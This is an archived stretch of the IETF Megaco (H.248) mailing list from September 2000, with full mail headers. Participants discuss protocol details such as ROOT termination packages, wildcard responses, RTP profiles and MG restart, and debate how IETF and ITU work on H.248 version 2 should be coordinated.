> 2. Is there any meaning in getting a new value for a specific
> termination,
> or should this values be modified only for the NULL context and ROOT
> termination?
The package is defined only on ROOT, and ROOT can't be in any
context other than NULL, so you can't use this package in
any context other than NULL.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 20 09:07:19 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA21659
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 20 Sep 2000 09:07:19 -0400 (EDT)
Received: from standards (47.234.32.16:4152) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB959A2@standards.nortelnetworks.com>; Wed, 20 Sep 2000 8:51:54 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18456 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 20 Sep 2000 08:51:53 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB959A1@standards.nortelnetworks.com>; Wed, 20 Sep 2000 8:51:48
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA00300 for <megaco@standards.nortelnetworks.com>; Wed, 20
          Sep 2000 09:05:26 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA00869 for <megaco@standards.nortelnetworks.com>; Wed, 20
          Sep 2000 09:05:27 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BFZK9B>; Wed, 20 Sep 2000 09:05:27 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E6C6@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 20 Sep 2000 09:05:00 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Wildcard command with CHOOSE
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

The text currently states:
When ALL is used in the TerminationID of a command, the effect is
   identical to repeating the command with each of the matching
   TerminationIDs.  Since each of these commands may generate a
   response, the size of the entire response may be large.  If
   individual responses are not required, a wildcard response may be
   requested.  In such a case, a single response is generated, which
   contains the UNION of all of the individual responses which
   otherwise would have been generated, with duplicate values
   suppressed.

Notice that this seems to imply that wildcard response can
only be used with ALL.  I think this is incorrect, and it
can be used with CHOOSE as in W-Audit=term/*{Audit{...

This is grist for the Implementer's Guide.

Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 20 12:31:53 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA26479
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 20 Sep 2000 12:31:53 -0400 (EDT)
Received: from standards (47.234.32.16:1550) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95A27@standards.nortelnetworks.com>; Wed, 20 Sep 2000 11:03:45 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18618 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 20 Sep 2000 11:03:45 -0400
Received: from mink.ecitele.com (mailhost.ecitele.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB95A16@standards.nortelnetworks.com>; Wed, 20 Sep 2000
          10:53:44 -0400
Received: from olive.ecitele.com (ilsmtp04.ecitele.com [147.234.8.125]) by
          mink.ecitele.com (8.9.1a/8.9.1) with ESMTP id SAA17063 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Wed, 20 Sep 2000 18:06:32
          +0300 (IDT)
X-Mailer: Lotus Notes Release 5.0.2b (Intl) 16 December 1999
X-MIMETrack: Serialize by Router on ILSMTP04/ECI Telecom(Release 5.0.3
             (Intl)|21 March 2000) at 20/09/2000 06:07:53 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Message-ID:  <OF0893F4B2.1F526A27-ONC2256960.00524E00@ecitele.com>
Date:         Wed, 20 Sep 2000 18:06:54 +0300
Reply-To: Shlomo.Kabaz@ECITELE.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Shlomo Kabaz  ECItelecom <Shlomo.Kabaz@ECITELE.COM>
Subject:      how to assign rtp profile and codec
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi , all .
Can anyone tell me where do i find  a  complete list of the rtp profiles
that can be received by me as a MG
from an MGC , in text encoding ?
Another thing i do not understand is : when getting a rtp profile in text
encoding , does the profile include also the
codec ?
And , also when coding in binary how do i give the codec and what do i
assign in the "RTPpayload" in annex "C" ?

thanks , shlomo ECI


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 20 12:46:35 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA27030
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 20 Sep 2000 12:46:35 -0400 (EDT)
Received: from standards (47.234.32.16:3575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95A5E@standards.nortelnetworks.com>; Wed, 20 Sep 2000 12:30:42 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18711 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 20 Sep 2000 12:30:41 -0400
Received: from sj-msg-core-2.cisco.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1b) with SMTP id
          <0.FFB95A5D@standards.nortelnetworks.com>; Wed, 20 Sep 2000 12:30:41
          -0400
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by
          sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id JAA00044; Wed, 20
          Sep 2000 09:44:27 -0700 (PDT)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List
          Logging/CISCO.WS.1.2) id JAA02587; Wed, 20 Sep 2000 09:44:26 -0700
          (PDT)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <28560036253BD41191A10000F8BCBD11480D7F@zcard00g.ca.nortel.com>
            <39C01915.C358901@ericsson.com> <39C03FBC.A1E17DDF@cisco.com>
            <39C05E5F.674A9443@ericsson.com> <39C57459.13409C67@cisco.com>
            <39C66D0C.25CEB48E@ericsson.com> <39C77F83.2D3D3E5B@cisco.com>
            <39C860AC.D6F18A82@ericsson.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
        @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
        bUcI'1!
Message-ID:  <14792.59754.611453.101438@thomasm-u1.cisco.com>
Date:         Wed, 20 Sep 2000 09:44:26 -0700
Reply-To: Michael Thomas <mat@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Michael Thomas <mat@CISCO.COM>
Subject:      H248v1 formerly Re: H.248v2 [was Re: Can MGC modify term in NULL
              Context ?]
X-To:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <39C860AC.D6F18A82@ericsson.com>
Content-Transfer-Encoding: 7bit

One basic problem is that IETF doesn't have "versions"
per se. In the same period of time, the current proposed
standard should be advancing to draft standard with
the normal IETF'ism of deleting unused features, etc,
etc. Unless a proposed standard recycles itself back
as a new proposed standard, there is no way to add a
bunch of new features, etc.

If SG16 goes off and creates a new version which is
not using the same criteria, something has got to
give: either MEGACO and SG16 keep cooperating such
that both produce a standard which will become a
full IETF internet standard, or they diverge.

I share Flemming's concern here. Without a great
deal of explict understanding and resolution of
how both IETF and ITU processes can be
simultaneously satisfied (and there are challenges
on the IETF side as well), the end result will
be divergence which would have made this entire
joint effort mostly a waste.

             Mike

Christian Groves writes:
 > G'Day Flemming,
 >
 > I don't see why you have a hard time following this logic.
 >
 > The work on H248v2 has just started. No one has been excluded from this,
 > especially the IETF. The Working Group Chair was at the SG16 meeting
 > where this occured. I believe that its a decision for the IETF if it
 > wants to be involved. I gather some sort of charter change would be
 > required.
 >
 > We have probably at least 14 months before we decide on H248v2 so there
 > is plenty of scope for other parties to be involved and the logistics of
 > this involvement sorted out.
 >
 > Regards, Christian
 >
 > Flemming Andreasen wrote:
 > >
 > > Christian Groves wrote:
 > >
 > > > G'Day Flemming,
 > > >
 > > > No there will be one protocol(H.248, Megaco) with 2 versions. Version 2
 > > > following version 1. Version 2 work is just starting and will go
 > > > probably for another year thus giving "the ink" plenty of time to dry
 > > > before we have version 2 ready. No body has been from giving input to
 > > > this work.
 > >
 > > I'm having a hard time following this logic. As we gain experience with v1, the IETF
 > > presumably will want to advance it to Draft and Internet standard, yet meanwhile the ITU
 > > will work on a successor, without the involvement of the IETF. Thus, for all practical
 > > purposes, you have just declared the joint v1 protocol an interim ITU-T solution as they
 > > move along on their own with v2. Maybe our WG chair or AD can clarify what the point with
 > > the cooperation was and where that leaves Megaco v1 as compared to H.248v2 ?
 > >
 > > Thanks
 > >
 > >         Flemming
 > >
 > > >
 > > >
 > > > Regards, Christian
 > > >
 > > > Flemming Andreasen wrote:
 > > > >
 > > > > The ink is barely dry on v1 and we all went through tremendous efforts to ensure that
 > > > > the IETF and ITU-T would develop a single protocol. Am I to understand it was a wasted
 > > > > effort as there now will be two protocols after all ? Where does this leave Megaco ?
 > > > >
 > > > > -- Flemming
 > > > >
 > > > > Christian Groves wrote:
 > > > >
 > > > > > G'Day Flemming,
 > > > > >
 > > > > > Its the version after H.248v1 and SG16 are working on it.
 > > > > >
 > > > > > Cheers, Christian
 > > > > >
 > > > > > Flemming Andreasen wrote:
 > > > > > >
 > > > > > > Question for clarification here:
 > > > > > >
 > > > > > > Exactly what is H.248v2 and who is working on it ?
 > > > > > >
 > > > > > > -- Flemming
 > > > > > >
 > >
 > > <snip>
 > >
 > > --
 > > Flemming Andreasen
 > > Cisco Systems
 >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 20 14:27:11 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA00018
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 20 Sep 2000 14:27:10 -0400 (EDT)
Received: from standards (47.234.32.16:1346) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95A9B@standards.nortelnetworks.com>; Wed, 20 Sep 2000 14:11:33 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18792 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 20 Sep 2000 14:11:33 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB95A98@standards.nortelnetworks.com>; Wed, 20 Sep 2000 14:11:00
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA00045; Wed, 20 Sep 2000 14:24:24 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA25855; Wed, 20 Sep 2000 14:24:24 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BFZN49>; Wed, 20 Sep 2000 14:24:24 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E6D5@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 20 Sep 2000 14:23:56 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: H248v1 formerly Re: H.248v2 [was Re: Can MGC modify term in N
              ULL Context ?]
X-To:         Michael Thomas <mat@CISCO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This may be as good a time as any to start the discussions of
how we deal with the IETF "drop unimplemented features" and the
ITU "backwards compatibility must be maintained" issues.

I believe this is going to take negotiation, will be "decided"
by folks higher up the management chain then us down here,
but will benefit from all of us discussing the issues on the list.

I too do not want to see divergence, so I wish to:
        Get Megaco rechartered to stay working with ITU on
                new versions
        Come to agreement on exactly how the process will work
                as the protocol matures.

I do want to see the Proposed Standard mature to full Standard.
New RFCs will be issued (which are like versions, whether you
call them that or not).  Likewise in ITU, there are new versions that
reflect maturation of ideas.

Brian

> -----Original Message-----
> From: Michael Thomas [mailto:mat@CISCO.COM]
> Sent: Wednesday, September 20, 2000 12:44 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: H248v1 formerly Re: H.248v2 [was Re: Can MGC modify term in
> NULL Context ?]
>
>
> One basic problem is that IETF doesn't have "versions"
> per se. In the same period of time, the current proposed
> standard should be advancing to draft standard with
> the normal IETF'ism of deleting unused features, etc,
> etc. Unless a proposed standard recycles itself back
> as a new proposed standard, there is no way to add a
> bunch of new features, etc.
>
> If SG16 goes off and creates a new version which is
> not using the same criteria, something has got to
> give: either MEGACO and SG16 keep cooperating such
> that both produce a standard which will become a
> full IETF internet standard, or they diverge.
>
> I share Flemming's concern here. Without a great
> deal of explict understanding and resolution of
> how both IETF and ITU processes can be
> simultaneously satisfied (and there are challenges
> on the IETF side as well), the end result will
> be divergence which would have made this entire
> joint effort mostly a waste.
>
>              Mike
>
> Christian Groves writes:
>  > G'Day Flemming,
>  >
>  > I don't see why you have a hard time following this logic.
>  >
>  > The work on H248v2 has just started. No one has been
> excluded from this,
>  > especially the IETF. The Working Group Chair was at the
> SG16 meeting
>  > where this occured. I believe that its a decision for the
> IETF if it
>  > wants to be involved. I gather some sort of charter change would be
>  > required.
>  >
>  > We have probably at least 14 months before we decide on
> H248v2 so there
>  > is plenty of scope for other parties to be involved and
> the logistics of
>  > this involvement sorted out.
>  >
>  > Regards, Christian
>  >
>  > Flemming Andreasen wrote:
>  > >
>  > > Christian Groves wrote:
>  > >
>  > > > G'Day Flemming,
>  > > >
>  > > > No there will be one protocol(H.248, Megaco) with 2
> versions. Version 2
>  > > > following version 1. Version 2 work is just starting
> and will go
>  > > > probably for another year thus giving "the ink" plenty
> of time to dry
>  > > > before we have version 2 ready. No body has been from
> giving input to
>  > > > this work.
>  > >
>  > > I'm having a hard time following this logic. As we gain
> experience with v1, the IETF
>  > > presumably will want to advance it to Draft and Internet
> standard, yet meanwhile the ITU
>  > > will work on a successor, without the involvement of the
> IETF. Thus, for all practical
>  > > purposes, you have just declared the joint v1 protocol
> an interim ITU-T solution as they
>  > > move along on their own with v2. Maybe our WG chair or
> AD can clarify what the point with
>  > > the cooperation was and where that leaves Megaco v1 as
> compared to H.248v2 ?
>  > >
>  > > Thanks
>  > >
>  > >         Flemming
>  > >
>  > > >
>  > > >
>  > > > Regards, Christian
>  > > >
>  > > > Flemming Andreasen wrote:
>  > > > >
>  > > > > The ink is barely dry on v1 and we all went through
> tremendous efforts to ensure that
>  > > > > the IETF and ITU-T would develop a single protocol.
> Am I to understand it was a wasted
>  > > > > effort as there now will be two protocols after all
> ? Where does this leave Megaco ?
>  > > > >
>  > > > > -- Flemming
>  > > > >
>  > > > > Christian Groves wrote:
>  > > > >
>  > > > > > G'Day Flemming,
>  > > > > >
>  > > > > > Its the version after H.248v1 and SG16 are working on it.
>  > > > > >
>  > > > > > Cheers, Christian
>  > > > > >
>  > > > > > Flemming Andreasen wrote:
>  > > > > > >
>  > > > > > > Question for clarification here:
>  > > > > > >
>  > > > > > > Exactly what is H.248v2 and who is working on it ?
>  > > > > > >
>  > > > > > > -- Flemming
>  > > > > > >
>  > >
>  > > <snip>
>  > >
>  > > --
>  > > Flemming Andreasen
>  > > Cisco Systems
>  >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 20 14:35:09 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA00175
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 20 Sep 2000 14:35:08 -0400 (EDT)
Received: from standards (47.234.32.16:1346) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95AC3@standards.nortelnetworks.com>; Wed, 20 Sep 2000 14:19:31 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18789 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 20 Sep 2000 14:19:31 -0400
Received: from netmail2.alcatel.com (hosta833.alcatel.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB95A97@standards.nortelnetworks.com>; Wed, 20 Sep 2000
          14:09:31 -0400
Received: from mailhub.ind.alcatel.com (mailhub.ind.alcatel.com
          [198.206.181.70]) by netmail2.alcatel.com (8.9.1/8.9.1) with ESMTP id
          NAA17049 for <MEGACO@standards.nortelnetworks.com>; Wed, 20 Sep 2000
          13:22:29 -0500 (CDT)
Received: from newman.xylan.com (localhost [127.0.0.1]) by
          mailhub.ind.alcatel.com (8.9.3+Sun/8.9.3/(mailhub 3.2.1 [HUB])) with
          ESMTP id LAA11589 for <MEGACO@standards.nortelnetworks.com>; Wed, 20
          Sep 2000 11:23:16 -0700 (PDT)
X-InterScan: Passed
Received: from ind.alcatel.com ([127.0.0.1]) by newman.xylan.com (Netscape
          Messaging Server 3.6)  with ESMTP id AAA642B for
          <MEGACO@standards.nortelnetworks.com>; Wed, 20 Sep 2000 11:23:15 -0700
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C90240.513EA140@ind.alcatel.com>
Date:         Wed, 20 Sep 2000 11:30:24 -0700
Reply-To: Lee Hong <lee.hong@IND.ALCATEL.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Lee Hong <lee.hong@IND.ALCATEL.COM>
Organization: Alcatel
Subject:      doubts on MG restart
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi everybody,

I have some doubts regarding MG restart.  When MG restarts, how does MGC
get the IP address
of MG and TDM interface information(like TDM termination ID) from MG?


Thanks,
Lee


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 20 14:44:42 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA00333
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 20 Sep 2000 14:44:41 -0400 (EDT)
Received: from standards (47.234.32.16:1346) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95B02@standards.nortelnetworks.com>; Wed, 20 Sep 2000 14:25:58 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18927 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 20 Sep 2000 14:25:58 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB95AFC@standards.nortelnetworks.com>; Wed, 20 Sep 2000 14:25:41
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA01300; Wed, 20 Sep 2000 14:39:15 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA00458; Wed, 20 Sep 2000 14:39:15 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BB1DYD>; Wed, 20 Sep 2000 14:39:07 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E6D7@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 20 Sep 2000 14:38:44 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: doubts on MG restart
X-To:         Lee Hong <lee.hong@IND.ALCATEL.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

The MG sends ServiceChange to the MGC.  It then knows the IP
address to use to contact the MG.  It would then audit the
MG to find out what capabilities it has.  That includes the
terminationIds.

There are some issues associated with what is connected to
the MG, as opposed to what the MG has internally.  Those issues
are outside the scope of Megaco, and are usually dismissed
with a "that's provisioning" statement.  I don't personally
like that answer because it implies that there is some kind
of database that BOTH the MG and MGC need access to, but that
is the way it is now.

Brian

> -----Original Message-----
> From: Lee Hong [mailto:lee.hong@IND.ALCATEL.COM]
> Sent: Wednesday, September 20, 2000 2:30 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: doubts on MG restart
>
>
> Hi everybody,
>
> I have some doubts regarding MG restart.  When MG restarts,
> how does MGC
> get the IP address
> of MG and TDM interface information(like TDM termination ID) from MG?
>
>
> Thanks,
> Lee
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 20 18:25:58 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA09667
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 20 Sep 2000 18:25:56 -0400 (EDT)
Received: from standards (47.234.32.16:4568) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95C86@standards.nortelnetworks.com>; Wed, 20 Sep 2000 18:05:30 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19428 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 20 Sep 2000 18:05:30 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB95C85@standards.nortelnetworks.com>; Wed, 20 Sep 2000 18:05:30
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com [192.168.3.20]) by
          turin.trillium.com (8.11.0/8.11.0) with ESMTP id e8KMNlH09291 for
          <megaco@standards.nortelnetworks.com>; Wed, 20 Sep 2000 15:23:47
          -0700 (PDT)
Received: from aega.trillium.com (aega.trillium.com [192.168.1.19]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id PAA10471 for
          <megaco@standards.nortelnetworks.com>; Wed, 20 Sep 2000 15:18:57
          -0700 (PDT)
Received: by aega.trillium.com with Internet Mail Service (5.5.2650.21) id
          <RT9L670Z>; Wed, 20 Sep 2000 15:10:13 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <8BBD33A986C5D311804000902719FF5DAFF471@aega.trillium.com>
Date:         Wed, 20 Sep 2000 15:10:09 -0700
Reply-To: Naren Tulpule <naren@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Naren Tulpule <naren@TRILLIUM.COM>
Subject:      Parameter name vs ID
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi,
        in the RTP package, E.12.2 ObservedEventsDescriptor parameter we
have
ParameterName: rtppayload
ParameterID: rtppltype, 0x01
        What's the difference? If there is none, will it be specified as
rtp/pltrans { rtppltype = ... or
rtp/pltrans { rtppayload = ... ?

-- Naren.
These views and opinions are mine alone, not those of Intel    (yet ;-),
Narendra C. Tulpule SMTS, Trillium (an Intel company)
Ph: +1-310-442-9222              Fax: +1-310-442-1162
12100 Wilshire Bl #1800         Los Angeles, CA 90025


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 21 08:58:16 2000
Received: from standards.nortelnetworks.com ([47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA04928
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 21 Sep 2000 08:58:16 -0400 (EDT)
Received: from standards (47.234.32.16:4918) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95F45@standards.nortelnetworks.com>; Thu, 21 Sep 2000 8:42:35 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20338 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 21 Sep 2000 08:42:34 -0400
Received: from mail-in.audiocodes.com (AC-INT-LP.ser.netvision.net.il) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB95F44@standards.nortelnetworks.com>; Thu, 21 Sep 2000
          8:42:34 -0400
Received: by MAIL-IN with Internet Mail Service (5.5.2650.21) id <TK5BN3CT>;
          Thu, 21 Sep 2000 15:55:33 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="windows-1255"
Message-ID:  <81C3E8FE6C0AD4119D49009027C3AAB25DABD1@MAIL-IN>
Date:         Thu, 21 Sep 2000 15:55:32 +0200
Reply-To: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Subject:      Silence suppression
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi list

I think that there should be a silence suppression property in the tdmc
package. If not, where do I get this parameter?

Best regards

Nurit Shenhar
AudioCodes Ltd.
Direct: +972-3-539-4155
Tel:     +972-3-539-4000
Fax:    +972-3-539-4040
email:  nurit.shenhar@audiocodes.com

web:    <http://www.audiocodes.com>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 21 09:19:24 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA05235
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 21 Sep 2000 09:19:23 -0400 (EDT)
Received: from standards (47.234.32.16:4918) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95F67@standards.nortelnetworks.com>; Thu, 21 Sep 2000 9:03:44 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20383 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 21 Sep 2000 09:03:44 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB95F66@standards.nortelnetworks.com>; Thu, 21 Sep 2000 9:03:30
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA24111; Thu, 21 Sep 2000 09:17:01 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA19023; Thu, 21 Sep 2000 09:17:00 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
